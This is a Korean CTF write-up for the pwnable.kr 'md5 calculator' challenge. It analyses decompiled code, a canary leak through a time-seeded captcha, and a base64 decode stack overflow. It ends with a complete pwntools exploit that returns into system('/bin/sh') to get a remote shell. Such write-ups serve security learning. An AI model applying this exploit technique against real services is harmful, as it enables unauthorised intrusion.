본문 바로가기
Wargame Write-Up/Pwnable.kr

[Pwnable.kr] (Pwnable) md5 calculator 풀이

by snwo 2020. 7. 29.

md5 calculator | 200pt

captcha 를 입력받고, BASE64 인코딩된값을 입력받고, MD5 한 결과를 돌려준다.


hash
0.01MB

gdb-peda$ checksec hash
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

 

카나리와 NX가 설정되어있다.

main

undefined4 main(void)

{
  uint __seed;
  int local_18;
  int local_14;
  
  setvbuf(stdout,(char *)0x0,1,0);
  setvbuf(stdin,(char *)0x0,1,0);
  puts("- Welcome to the free MD5 calculating service -");
  __seed = time((time_t *)0x0);
  srand(__seed);
  local_14 = my_hash();
  printf("Are you human? input captcha : %d\n",local_14);
  __isoc99_scanf(&DAT_080492df,&local_18);
  if (local_14 != local_18) {
    puts("wrong captcha!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}

srand(time(NULL)) 으로 난수를 생성하고 my_hash() 로 해쉬값을 생성한뒤, captcha 로 출력해 입력값과 맞아야한다.

맞으면 process_hash() 함수를 호출하고 log 파일에 date 를 길록한다.

my_hash()

int my_hash(void)

{
  int iVar1;
  int in_GS_OFFSET;
  int local_3c;
  int local_30 [8];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  local_3c = 0;
  while (local_3c < 8) {
    iVar1 = rand();
    local_30[local_3c] = iVar1;
    local_3c = local_3c + 1;
  }
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_30[4] - local_30[6] + local_30[7] + canary + 
  	local_30[2] - local_30[3] + local_30[1] + local_30[5]
}

main 에서 srand(time(NULL)) 로 난수를 설정하고, local30[0~7] 까지 rand() 값으로 채운다.

그리고 ar[1]+ar[2]-ar[3]+ar[4]+ar[5]-ar[6]+ar[7]+canary 를 리턴한다. 같은시간에 난수값을 생성하면

canary 를 leak 할 수 있겠다.

 

process_hash()

void process_hash(void)

{
  undefined4 uVar1;
  void *__ptr;
  int iVar2;
  undefined4 *puVar3;
  int in_GS_OFFSET;
  byte bVar4;
  undefined4 local_210 [128];
  int local_10;
  
  bVar4 = 0;
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  iVar2 = 0x80;
  puVar3 = local_210;
  while (iVar2 != 0) {
    iVar2 = iVar2 + -1;
    *puVar3 = 0;
    puVar3 = puVar3 + 1;
  }
  do {
    iVar2 = getchar();
  } while (iVar2 != 10);
  iVar2 = 0x100;
  puVar3 = (undefined4 *)g_buf;
  while (iVar2 != 0) {
    iVar2 = iVar2 + -1;
    *puVar3 = 0;
    puVar3 = puVar3 + (uint)bVar4 * 0x3ffffffe + 1;
  }
  fgets(g_buf,0x400,stdin);
  iVar2 = 0x80;
  puVar3 = local_210;
  while (iVar2 != 0) {
    iVar2 = iVar2 + -1;
    *puVar3 = 0;
    puVar3 = puVar3 + (uint)bVar4 * 0x3ffffffe + 1;
  }
  uVar1 = Base64Decode(g_buf,local_210);
  __ptr = (void *)calc_md5(local_210,uVar1);
  printf("MD5(data) : %s\n",__ptr);
  free(__ptr);
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

g_buf 에 입력을받고, Base64Decode, calc_md5 를 호출한다.

 

Base64Decode()

undefined4 Base64Decode(char *param_1,void *param_2)

{
  char cVar1;
  undefined4 uVar2;
  FILE *stream;
  BIO_METHOD *type;
  BIO *b;
  BIO *append;
  int iVar3;
  uint uVar4;
  char *pcVar5;
  byte bVar6;
  
  bVar6 = 0;
  uVar2 = calcDecodeLength(param_1);
  uVar4 = 0xffffffff;
  pcVar5 = param_1;
  do {
    if (uVar4 == 0) break;
    uVar4 = uVar4 - 1;
    cVar1 = *pcVar5;
    pcVar5 = pcVar5 + (uint)bVar6 * -2 + 1;
  } while (cVar1 != '\0');
  stream = fmemopen(param_1,~uVar4 - 1,"r");
  type = BIO_f_base64();
  b = BIO_new(type);
  append = BIO_new_fp(stream,0);
  b = BIO_push(b,append);
  BIO_set_flags(b,0x100);
  uVar4 = 0xffffffff;
  do {
    if (uVar4 == 0) break;
    uVar4 = uVar4 - 1;
    cVar1 = *param_1;
    param_1 = param_1 + (uint)bVar6 * -2 + 1;
  } while (cVar1 != '\0');
  iVar3 = BIO_read(b,param_2,~uVar4 - 1);
  *(undefined *)(iVar3 + (int)param_2) = 0;
  BIO_free_all(b);
  fclose(stream);
  return uVar2;
}

BIO 가 붙은 함수들은 OpenSSL 함수들이라는데, BIO_read 부분만 보면 된다. 위에서 암호화한 값을

param2 (로컬 버퍼)에 붙여넣고있다. 로컬버퍼위치는 0x20c 이고, g_buf (param1) 는 0x400 만큼 입력을 받으니

BOF 가 발생하게된다.

 

calc_md5 함수는 별로 중요하지 않으니 패스한다.


system 함수가 주어져있고, PIE 가 적용되어있지 않기에 전역변수인 g_buf 에 payload 를 입력하면 된다.

 

payload : 연결과 동시에 난수를 생성해 canary 를 역연산해서 canary 에 overwrite 하고

, system으로 리턴, g_buf 어딘가에 /bin/sh 를 적고 그 주소를 인자로 준다.

payload 는 /bin/sh 제외하고 base64 인코딩한다. (평문으로 인자를 줘야하기때문)

base64 인코딩하면, 6bit 당 2bit 의 overhead 가 발생하기때문에 데이터가 약33% 증가한다.
하지만, 입력은 0x400 만큼 받고, payload 의 길이는 0x20c+12 이기때문에, 인코딩해도 0x400 를 넘지않는다.

from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64

libc=CDLL(find_library('c'))
libc.srand(libc.time(0))

r=remote("pwnable.kr",9002)
#r=process("./hash")
b=ELF("./hash")

r.recvuntil("captcha : ")

binsh=0x804b0e0+720
cap=int(r.recvline().strip())
rnd=[]

for i in range(8):
	rnd.append(libc.rand())

canary=cap-(rnd[1]+rnd[2]-rnd[3]+rnd[4]+rnd[5]-rnd[6]+rnd[7])&0xffffffff

#log.info(hex(canary))

pay=''
pay+='x'*0x200
pay+=p32(canary)
pay+='x'*12
pay+=p32(b.plt['system'])
pay+='x'*4
pay+=p32(binsh)
pay=base64.b64encode(pay)

#print len(pay)
pay+='/bin/sh\x00'

r.sendline(str(cap))
r.sendline(pay)
r.interactive()

역연산후 canary 덮고 system.plt 로 리턴. 인코딩된 페이로드 뒤에다가 /bin/sh\00 을 넣어

g_buf 에 평문 /bin/sh 가 들어가게한다음, g_buf+(인코딩된페이로드길이) 를 인자로 준다.

 

실행했을때 조금이라도 렉이 걸리면, 시간차이가 나서 익스가 실패한다.

문제에서는 pwnable.kr 에 ssh 접속해서 로컬에서 익스하라한다.